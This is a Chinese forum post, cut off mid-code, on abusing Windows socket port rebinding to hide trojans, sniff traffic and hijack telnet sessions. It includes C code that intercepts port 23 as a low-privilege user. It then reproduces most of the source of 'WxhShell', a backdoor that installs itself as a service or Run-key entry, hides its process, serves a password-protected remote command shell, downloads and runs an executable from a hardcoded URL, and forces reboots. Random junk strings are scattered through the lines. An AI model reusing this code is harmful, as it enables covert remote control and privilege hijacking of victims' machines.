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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,':fu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &"f";  
E ~Sb  
  saddr.sin_family = AF_INET; ,?8qpEG~#+  
ORe(]I`Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /uPcXq:L~  
?Y-%'J(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vK|E>nL  
eKE#Yr d=x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $WyD^|~SF  
Qu?R8+"KS  
  这意味着什么?意味着可以进行如下的攻击: %7zuQ \w  
r e/@D@%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {C=NUK%?  
] o*#t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BLfTsNzmt  
*scVJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JD)(oK%C  
'\Giv!>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {> eXR?s/  
mn, =i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }zkHJxZgE  
_<k\FU r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dgR g>)V  
{MtpkUN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1C}NQ!.  
.k,1f*%  
  #include RDW8]=uM  
  #include ciBP7>'::  
  #include h`KFL/fT  
  #include    Wk~W Ozr}^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U 9_9l7&r  
  int main() UW N*j_9i  
  { -I*^-+>H  
  WORD wVersionRequested; H$=e -L`@  
  DWORD ret; = s>T;|  
  WSADATA wsaData; Vq2y4D?  
  BOOL val; HG^B#yX  
  SOCKADDR_IN saddr; .{ocV#{s  
  SOCKADDR_IN scaddr; Wvbf"hq  
  int err; kpJ@M%46  
  SOCKET s; sD{Wxv  
  SOCKET sc; F_w Z"e6  
  int caddsize; x2OaPlG,&V  
  HANDLE mt; N4^-`  
  DWORD tid;   \|H!~)h$1  
  wVersionRequested = MAKEWORD( 2, 2 ); %eX{WgH  
  err = WSAStartup( wVersionRequested, &wsaData ); zMj#KA1  
  if ( err != 0 ) { En~5"yW5>]  
  printf("error!WSAStartup failed!\n"); ',Y.v"']4  
  return -1; H5DC[bZMb%  
  } Bc+w+  
  saddr.sin_family = AF_INET; qaY1xPWz"  
   iq8Grd L"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {IxA)v-`  
AqWUwK9T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v*'^r)Q[p  
  saddr.sin_port = htons(23); Q\^O64geD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S|SV$_ (  
  { pXrFljoYl[  
  printf("error!socket failed!\n"); F<n3  
  return -1; ,F79xx9ufg  
  } 'qZW,],5  
  val = TRUE; ock Te5U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  .u*0[N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S?>HD|Z  
  { kE:nsXI )  
  printf("error!setsockopt failed!\n"); <Wfx+F  
  return -1; @G8lr  
  } #*QO3y~ZM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~Mx!^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :}5j##N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6N!Q:x^4(T  
't1 ax^-g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W#^2#sjO  
  { 0 t Fkd  
  ret=GetLastError(); ^A!Qc=#z}  
  printf("error!bind failed!\n"); ;T"zV{;7BR  
  return -1; HBy[FYa4  
  } 1,6}_MA  
  listen(s,2); 9KDEM gCW  
  while(1) Lx\ 8Z=  
  { i*|\KM?P  
  caddsize = sizeof(scaddr); Z'4./  
  //接受连接请求 Wi*.TWz3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s %qF/70'  
  if(sc!=INVALID_SOCKET) tX5"UQA  
  { g l^<Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gW^VVbB'L  
  if(mt==NULL) Yk)."r&?  
  { w$+&3t  
  printf("Thread Creat Failed!\n"); a6D &/8  
  break; 5~r33L%  
  } MLoYnR^  
  } ,=UK}*e"  
  CloseHandle(mt); E0Y-7&Fv  
  } RTE8Uq36  
  closesocket(s); WlB  
  WSACleanup(); b<a4'M  
  return 0; (pY 7J  
  }   /JFUU[W  
  DWORD WINAPI ClientThread(LPVOID lpParam) + ,%&e  
  { B|R@5mjm  
  SOCKET ss = (SOCKET)lpParam; ZjgsR|i  
  SOCKET sc; I%r{]-Obr-  
  unsigned char buf[4096]; JG" R\2  
  SOCKADDR_IN saddr; ey2S#%DF]  
  long num; 5 xppKt  
  DWORD val; 6N",- c  
  DWORD ret; 43|XSyS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4[.oPK=i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j"}*T  
  saddr.sin_family = AF_INET; aNScF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZG>PQA  
  saddr.sin_port = htons(23); V,mw[Hw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lhYe;b(  
  { IAw{P08+  
  printf("error!socket failed!\n"); kddZZA3`  
  return -1; 7Nk!1s :  
  } ]ro*G"-_1#  
  val = 100; '_GrD>P)-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jbjmv: db  
  { v16 JgycM  
  ret = GetLastError(); <L"GqNuRQ  
  return -1; <QA6/Ef7  
  } Jl5c [F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X WUWY  
  { /LvRP yj@  
  ret = GetLastError(); jE}33"  
  return -1; &^#VN%{  
  } eZSNNgD<:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8dO!  
  { &7`^i.fh)  
  printf("error!socket connect failed!\n"); YpH&<$x:  
  closesocket(sc); S'4(0j  
  closesocket(ss); rf?qdd(~cH  
  return -1; XiL~TCkx4  
  } |2RC#]/-Y  
  while(1) :<hXH^n  
  { F @mQQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r~/   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rf>0H^r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?$*SjZt  
  num = recv(ss,buf,4096,0); [3(7  4  
  if(num>0) + Af"f' )  
  send(sc,buf,num,0); [U5\bX@$  
  else if(num==0) AyNI$Q6Z  
  break; Oy%''+g   
  num = recv(sc,buf,4096,0); M-1ngI0H;  
  if(num>0) fz\9 S  
  send(ss,buf,num,0); t"= E^r  
  else if(num==0) 2nSSF x r  
  break; mVVD!  
  } +3BBQ+x!  
  closesocket(ss); 8zRP (+&W  
  closesocket(sc); ZZHDp&lh}  
  return 0 ; *:Vq:IU[D  
  } 0s/w,?  
Hkwl>R$  
#73F} tZ^  
========================================================== .!f$ \1l  
(-ufBYO6  
下边附上一个代码,,WXhSHELL F<qz[,]|-j  
%k;|\%B`  
========================================================== (Tn- >).AO  
do*EKo  
#include "stdafx.h" wN;^[F  
.}OR  
#include <stdio.h> _a6[{_Pc  
#include <string.h> ~yH?=:>U  
#include <windows.h> swM*k;$q{  
#include <winsock2.h> q(`/Vo4g(  
#include <winsvc.h> Xc?&_\. +  
#include <urlmon.h> .?R!DYC`  
9aze>nxh.  
#pragma comment (lib, "Ws2_32.lib") H5Z$*4%G  
#pragma comment (lib, "urlmon.lib") q35f&O;  
7]blrN]  
#define MAX_USER   100 // 最大客户端连接数 4)A#2  
#define BUF_SOCK   200 // sock buffer , Wk?I%>  
#define KEY_BUFF   255 // 输入 buffer /J=v]<87a  
RxI(:i?  
#define REBOOT     0   // 重启 nEJY5Bz$  
#define SHUTDOWN   1   // 关机 >8k _n  
GBRa.;Kk  
#define DEF_PORT   5000 // 监听端口 /atW8 `&  
R)QC)U  
#define REG_LEN     16   // 注册表键长度 /ro=?QYb  
#define SVC_LEN     80   // NT服务名长度 m9.{[K"  
] lrWgm  
// 从dll定义API ] Hztb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @cFJeOC|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]Q>.HH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4\Tl\SZ?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X*{2[+<o  
nlW +.a[  
// wxhshell配置信息 _V7r1fY:  
struct WSCFG { ]sE?ezu  
  int ws_port;         // 监听端口 &e#~<Wm82  
  char ws_passstr[REG_LEN]; // 口令 &Low/Y'.jJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;\14b?TUH  
  char ws_regname[REG_LEN]; // 注册表键名 59"UL\3  
  char ws_svcname[REG_LEN]; // 服务名 EfCx`3~EX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;[=8B \?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #a'Ex=%rM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G 8g<>d{j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kXi6lh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ihIVUu-M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 apg=-^L'  
SqEgn}m$  
}; .QZaGw=,z  
E5I"%9X0H  
// default Wxhshell configuration q*_/to  
struct WSCFG wscfg={DEF_PORT, l5Gq|!2yxD  
    "xuhuanlingzhe", :h\Q;?  
    1, 18+)`M-5o  
    "Wxhshell", BD_Iz A<wK  
    "Wxhshell", mOy^vMa  
            "WxhShell Service", wr$M$i:  
    "Wrsky Windows CmdShell Service", `*_mP<Ag  
    "Please Input Your Password: ", PIu1+k.r?  
  1, aMWmLpv4'  
  "http://www.wrsky.com/wxhshell.exe", ow_W%I=6  
  "Wxhshell.exe" y(CS5v#FG  
    }; g;qx">xJ`o  
m1B+31'>^  
// 消息定义模块 S- pV_Ff  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /& Jan:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U+:m4a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rH_\ d?b  
char *msg_ws_ext="\n\rExit."; }1Gv)l7  
char *msg_ws_end="\n\rQuit."; Cd,jDPrw  
char *msg_ws_boot="\n\rReboot..."; FbS|~Rp~  
char *msg_ws_poff="\n\rShutdown..."; gW>uR3Ca4  
char *msg_ws_down="\n\rSave to "; 'ig&$fzb  
#_6I w`0  
char *msg_ws_err="\n\rErr!"; Q=AavKn#  
char *msg_ws_ok="\n\rOK!"; :S<f?* }:  
gl\\+VyU  
char ExeFile[MAX_PATH]; V@zg}C|e  
int nUser = 0; i BF|&h(\  
HANDLE handles[MAX_USER]; %?}33yV  
int OsIsNt; sz:g,}~h  
fVF2-Rh=  
SERVICE_STATUS       serviceStatus; n>ULRgiT:o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WY?[,_4U  
(.D~0a JU  
// 函数声明 ,l !Ta "  
int Install(void); NidIVbT.A  
int Uninstall(void); v|uAzM{73  
int DownloadFile(char *sURL, SOCKET wsh); `|{-+m  
int Boot(int flag); oW ::hB  
void HideProc(void); s5CXwM6cx  
int GetOsVer(void); C-Q28lD}f  
int Wxhshell(SOCKET wsl); fI&t]   
void TalkWithClient(void *cs); JmxH"7hTE  
int CmdShell(SOCKET sock); B8": 2HrW$  
int StartFromService(void); \NgYTZ  
int StartWxhshell(LPSTR lpCmdLine); N5Q[nd  
=/s>Q l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s/$?^qtyC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qh9Z50E9  
~Sj9GxTe  
// 数据结构和表定义 sDPs G5q<  
SERVICE_TABLE_ENTRY DispatchTable[] = |TS>h wkI  
{ '[AlhBX  
{wscfg.ws_svcname, NTServiceMain}, w>pq+og&  
{NULL, NULL} s}w{:Hk,x8  
}; h2Ld[xvCu%  
L2\#w<d  
// 自我安装 ,:%CB"J  
int Install(void) Xe$I7iKD  
{ RRmz"j>  
  char svExeFile[MAX_PATH]; O_ `VV*  
  HKEY key; IpYM;tYw&  
  strcpy(svExeFile,ExeFile); pMw*9s X  
IwQ"eUnK  
// 如果是win9x系统,修改注册表设为自启动 eD,.~Y#?=  
if(!OsIsNt) {  _zY# U9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _K]_ @Ivh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |2O]R s  
  RegCloseKey(key); 24 [+pu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f(/lLgI(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 Q%jA7  
  RegCloseKey(key); 8I lunJ  
  return 0; SIBtmm1W  
    } 6wBx;y |  
  } S0zD"T  
} ^uKwB;@  
else { |Luqoa  
3@kf@ Vf  
// 如果是NT以上系统,安装为系统服务 Bmr>n6|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uGwm r  
if (schSCManager!=0) 6a[}'/  
{ +O8%Hm  
  SC_HANDLE schService = CreateService ff]6aR/ UQ  
  ( Vr]id  
  schSCManager, 8<X#f !  
  wscfg.ws_svcname, :ci5r;^  
  wscfg.ws_svcdisp, vx>b^tJKC  
  SERVICE_ALL_ACCESS, `7c~m ypx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , % Qmn-uZ  
  SERVICE_AUTO_START, ;D3C >7y  
  SERVICE_ERROR_NORMAL, gwLf'  
  svExeFile, YmL06<Mh  
  NULL, NP0\i1P>.?  
  NULL, Px4) >/ z,  
  NULL, i6^twK)j  
  NULL, }JF13beU  
  NULL U;YC}r  
  ); [$mHv,~  
  if (schService!=0) /KFfU1  
  { SW H2  
  CloseServiceHandle(schService); j_K4;k#r  
  CloseServiceHandle(schSCManager); 2GP=&K/A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PC~Y8,A|.t  
  strcat(svExeFile,wscfg.ws_svcname); bGN:=Y'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6Y^23W F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &*##bA"!B  
  RegCloseKey(key); <f ZyAa3}  
  return 0; ?^7t'`zk  
    } aRj9E}  
  } $Ipg&`S"  
  CloseServiceHandle(schSCManager); I@T8Iv=  
} Z_$%.  
} C^O VB-  
=O&%c%~q  
return 1; (7vF/7BZ|_  
} HHA<IZ#;,  
52%2R]G!  
// 自我卸载 51#_Vg  
int Uninstall(void) vx1c,8  
{ '.on)Zd.  
  HKEY key; dzARI`  
B-xGX$<z  
if(!OsIsNt) { p, h9D_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E%yNa]\P  
  RegDeleteValue(key,wscfg.ws_regname); o*b] p-  
  RegCloseKey(key); 2y//'3[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SON-Z"v  
  RegDeleteValue(key,wscfg.ws_regname); +NeOSQSj  
  RegCloseKey(key); (uXL^oja  
  return 0; VU#`oJ:{  
  } 3-[q4R  
} 7r7YNn/?  
} 0pK=o"^?@  
else { T5R-B=YWu  
;ic3).H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v_<rNc,z-s  
if (schSCManager!=0) 6^V=?~a&z  
{ pM+ AjPr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2a-w% (K  
  if (schService!=0) )Lk639r  
  { %>yG+Od5Z  
  if(DeleteService(schService)!=0) { ' KP@W9j  
  CloseServiceHandle(schService); E-4b[xNj*+  
  CloseServiceHandle(schSCManager); i5en*)O8  
  return 0; oQLq&zRH`f  
  } V_R@o3kv;  
  CloseServiceHandle(schService); xR-%L  
  } p ?*Q- f  
  CloseServiceHandle(schSCManager); hcgMZT!<5  
} 4-? C>  
} .~)q};Z  
O [\i E5+$  
return 1; |WQBDB`W  
} ]q;Emy  
@fHi\W2JG  
// 从指定url下载文件 PxTwPl  
int DownloadFile(char *sURL, SOCKET wsh) v]'ztFA  
{ /'Ass(=6  
  HRESULT hr; 7TgOK   
char seps[]= "/"; \MsTB|Z  
char *token; Umz KY  
char *file; .!Qki@  
char myURL[MAX_PATH]; (iBNZ7sJ  
char myFILE[MAX_PATH]; aEFJ;n7m  
68NYIyTW9  
strcpy(myURL,sURL); |EIng0a  
  token=strtok(myURL,seps); 9/{(%XwX  
  while(token!=NULL) ~,d,#)VE2q  
  { "LHcB]^<  
    file=token; mf A{3  
  token=strtok(NULL,seps); g$":D  
  } #9B)Xx!g  
J; 3{3  
GetCurrentDirectory(MAX_PATH,myFILE); ,MdV;j ~"'  
strcat(myFILE, "\\"); m.JBOq=  
strcat(myFILE, file); j5QuAU8  
  send(wsh,myFILE,strlen(myFILE),0); .sxcCrQE  
send(wsh,"...",3,0); O)C\v F#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zE336  
  if(hr==S_OK) !SC`D])l  
return 0; bo,_&4?  
else szb_*)k  
return 1; i#&z2h-b  
ob+b<HFv  
} aB*Bz]5;E  
5<iV2Hx  
// 系统电源模块 Bz_^~b7  
int Boot(int flag) gD0eFTN  
{ OtY`@\hy  
  HANDLE hToken; 9 3U_tQ&1?  
  TOKEN_PRIVILEGES tkp; nxY\|@  
u9:`4b   
  if(OsIsNt) { Yw22z #K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $Ad{Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Eav[/cU  
    tkp.PrivilegeCount = 1; 2`AY~i9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QsGiclU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3RiWZN  
if(flag==REBOOT) { iMt:9|yF}8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pe0F0Ruy  
  return 0; f& 0M*o,)  
} qsF<!'m7`  
else { wJg1Y0nh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W$QcDp]#p}  
  return 0; [NQOrcAQ  
} $[9%QQk5<L  
  } n+! AnKq  
  else { Gn22<C/  
if(flag==REBOOT) { E_gD:PPU5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t![7uU.W  
  return 0; fs|)l$Rd  
} UN7EF/!Zz  
else { zUDg&-J3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V@\gS"Tu  
  return 0; 'QG xd!4  
} SIe="YG]<  
} /;{P}-H`ei  
l+ 3[ KCE  
return 1; *xc_k"\  
} h~A/y!s  
*zNYZ#  
// win9x进程隐藏模块 #:%&x@@c3P  
void HideProc(void) {qDSPo  
{ 9 ^o-EC!_  
VJ84?b{c W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pb^i^tA+A  
  if ( hKernel != NULL ) m9)p-1y@5  
  { 6f;fx}y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iz5CAxm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |o,YCzy|5  
    FreeLibrary(hKernel); SD#]$v  
  } M])ZK  
.=U#eHBdAQ  
return; Pnw]Tm}g  
} 4pe'06:  
R FKtr  
// 获取操作系统版本 YW-usvl&  
int GetOsVer(void) m%rd0=}57  
{ 2C2fGYu  
  OSVERSIONINFO winfo; ,9?BcD1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ai}mOyJs  
  GetVersionEx(&winfo); 8][nmjk0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X$%'  
  return 1; XV!6dh!  
  else }{M#EP8q+  
  return 0; kSC}aN'  
} TP VVck-T8  
B! rTD5a  
// 客户端句柄模块 .ELGWF`>  
int Wxhshell(SOCKET wsl) Usg K  
{ ()`7L|(`;q  
  SOCKET wsh; X(!Cfb8+5  
  struct sockaddr_in client; $GYm6x\4  
  DWORD myID; ko1J094Y%  
 0,r}o  
  while(nUser<MAX_USER) tzZ63@cm  
{ + r!1<AAE$  
  int nSize=sizeof(client); *?o{9v5}(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /`9sPR6e  
  if(wsh==INVALID_SOCKET) return 1; z+ s6)Ad  
Q*~LCtrI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SH3|sXH<  
if(handles[nUser]==0) 9Kr+\F  
  closesocket(wsh); r$5i Wu  
else .#wqXRd  
  nUser++; mt9 .x  
  } >oea{u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )S`jFQ1  
ktI/3Mb@  
  return 0; n 9\ C2r  
} j0Bu-sO$w  
W8Q|$ZJ88F  
// 关闭 socket iM2W]  
void CloseIt(SOCKET wsh) ?MXejEC  
{ .id)VF-l  
closesocket(wsh); NxSu 3e~PS  
nUser--; +U_=*"@|  
ExitThread(0); * +'x~a  
} Ny_lrfh)[  
F1iGMf-8  
// 客户端请求句柄 8iW;y2qF  
void TalkWithClient(void *cs) ##KBifU"  
{ rxr{/8%f%  
M@h|bN  
  SOCKET wsh=(SOCKET)cs; CQwL|$)]Y  
  char pwd[SVC_LEN]; ^Y<|F!0  
  char cmd[KEY_BUFF]; FSUttg"  
char chr[1]; qs|mj}?  
int i,j; . 7zK@6i  
|M8WyW  
  while (nUser < MAX_USER) { wg ^sGKN  
b'P eH\h{  
if(wscfg.ws_passstr) { w0|gG+x jS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]DZE%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {)DHH:n  
  //ZeroMemory(pwd,KEY_BUFF); 6Z#\CixG  
      i=0; ?aC'.jH+  
  while(i<SVC_LEN) { y[>;]R7'  
)v]/B+  
  // 设置超时 dp++%:j  
  fd_set FdRead; \2nUa ;  
  struct timeval TimeOut; Q F-LU  
  FD_ZERO(&FdRead); UUF ;p2{f  
  FD_SET(wsh,&FdRead); ub7zA!%  
  TimeOut.tv_sec=8; 6``'%S'#  
  TimeOut.tv_usec=0; z?>D_NLX6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :1 (p.q=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $|]" W=h  
 e`d%-9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,REJt  
  pwd=chr[0]; D6CS8 ~"  
  if(chr[0]==0xd || chr[0]==0xa) { hOFOO_byzO  
  pwd=0; :,WtR  
  break; eFBeJZuE|  
  } I6j$X6u  
  i++; ^F2b hXE  
    } 3k|oK'l  
cUqke+!  
  // 如果是非法用户,关闭 socket H_EB1"C;\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  |?Frj  
} ( xXGSx  
0ge$ p,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \=+b}mKV m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )foq),2  
6&DX] [G  
while(1) { i O/K nH  
4Y,R-+f  
  ZeroMemory(cmd,KEY_BUFF); _2k]3z?  
1^ _U;O:I  
      // 自动支持客户端 telnet标准   iv?gZg   
  j=0; k=4N(i/s  
  while(j<KEY_BUFF) { \ {qI4=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a\IP12F?  
  cmd[j]=chr[0]; a^Tm u  
  if(chr[0]==0xa || chr[0]==0xd) { u)3 $~m~  
  cmd[j]=0; &=<x#h-  
  break; g8Q5m=O*  
  } !Gu%U$d  
  j++; BYTnrPA&Z;  
    } `(v='$6}  
O=v#{ [  
  // 下载文件 -od!J\ KCy  
  if(strstr(cmd,"http://")) { fbWFLS m;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L f"i !  
  if(DownloadFile(cmd,wsh)) c~{9a_G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {~h*2n  
  else .,7JAkB%t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zUkN 0  
  } JoRT&rkd  
  else { 1BAgtd$3  
1rKlZsZ#*  
    switch(cmd[0]) { ymegr(9&K  
  AZzuI*  
  // 帮助 nl(WJKq'  
  case '?': { K+Z+wA?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )uK{uYQl  
    break; CM<]ZG7  
  } # altx=6'  
  // 安装 >H(i^z/c  
  case 'i': { nB%;S  
    if(Install()) h G gx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l IUuA  
    else GuGOePV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #VB')^d<U  
    break; AK= h[2(  
    } >$ NDv  
  // 卸载 >*-FV{{  
  case 'r': { lc2i`MC  
    if(Uninstall()) Z4A!U~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W%.v.0   
    else L KCb_9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U\veOQ;mW  
    break; PqyA1  
    } UA4J>1 i  
  // 显示 wxhshell 所在路径 -+7uy.@cS  
  case 'p': { ?lbH02P{v  
    char svExeFile[MAX_PATH]; ;<$H)`*  
    strcpy(svExeFile,"\n\r"); !/^-;o7  
      strcat(svExeFile,ExeFile); Sr&515  
        send(wsh,svExeFile,strlen(svExeFile),0); V?P,&c?84  
    break; 4Ue_Y 'LmM  
    } a 4=N9X  
  // 重启 <+^6}8-  
  case 'b': { 1iX)d)(b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nru7(ag1~  
    if(Boot(REBOOT)) qw7@(R'"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DUL4noq{  
    else { jn%!AH  
    closesocket(wsh); ot`%*  
    ExitThread(0); !@x+q)2  
    } ,h{A^[yl  
    break; aWwPvd3  
    } )J_\tv  
  // 关机 >_c5r?]SG  
  case 'd': { G [:N0{v5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |\dZ'   
